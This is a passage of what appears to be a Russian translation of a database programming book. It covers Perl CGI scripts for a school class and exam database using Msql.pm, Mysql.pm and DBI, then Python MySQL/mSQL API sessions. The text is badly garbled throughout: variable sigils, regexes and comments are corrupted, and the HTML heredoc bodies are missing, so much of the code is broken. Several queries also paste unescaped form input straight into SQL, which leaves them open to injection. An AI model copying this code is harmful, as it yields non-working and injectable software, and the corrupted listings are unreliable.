    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

